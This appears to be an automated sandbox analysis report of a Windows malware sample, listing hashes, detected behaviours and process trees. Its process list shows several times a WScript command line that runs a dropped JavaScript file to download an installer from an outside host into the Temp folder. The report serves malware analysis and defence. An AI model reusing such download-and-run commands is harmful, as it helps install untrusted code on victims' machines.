Analysis
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max time kernel
128s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
12/06/2024, 18:28
Static task
static1
Behavioral task
behavioral1
Sample
a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe
Resource
win10v2004-20240611-en
General
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Target
a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe
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Size
184KB
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MD5
a1be3ac1ee943c017c5088e5e1a9cd7f
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SHA1
60674ddccace639b60688dd7d4a1d9cd0c63227a
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SHA256
0fbd0b1f616c5ad5d2ca0c14ef41fa18dc01e290abed4048944e04708b5d3711
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SHA512
438a2b6c22427a6d9cb5a8b8e07ba3f4c4b52c39fe851403af161aec94cc0c16f24d603da87fcf9ac90387e5cd1392836d92cbd85c68414f1721ca0dc105a13e
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3US:/7BSH8zUB+nGESaaRvoB7FJNndntS
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 6 3340 WScript.exe 20 1180 WScript.exe 23 3848 WScript.exe 39 3600 WScript.exe 47 2824 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2648 wrote to memory of 3340 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 92 PID 2648 wrote to memory of 3340 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 92 PID 2648 wrote to memory of 3340 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 92 PID 2648 wrote to memory of 1180 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 94 PID 2648 wrote to memory of 1180 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 94 PID 2648 wrote to memory of 1180 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 94 PID 2648 wrote to memory of 3848 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 95 PID 2648 wrote to memory of 3848 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 95 PID 2648 wrote to memory of 3848 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 95 PID 2648 wrote to memory of 3600 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 98 PID 2648 wrote to memory of 3600 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 98 PID 2648 wrote to memory of 3600 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 98 PID 2648 wrote to memory of 2824 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 103 PID 2648 wrote to memory of 2824 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 103 PID 2648 wrote to memory of 2824 2648 a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe 103
Processes
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C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe2⤵
- Blocklisted process makes network request
PID:3340
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe2⤵
- Blocklisted process makes network request
PID:1180
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe2⤵
- Blocklisted process makes network request
PID:3848
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe2⤵
- Blocklisted process makes network request
PID:3600
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe2⤵
- Blocklisted process makes network request
PID:2824
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2816,i,6522675234395427298,2952738987384583032,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:81⤵PID:332
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76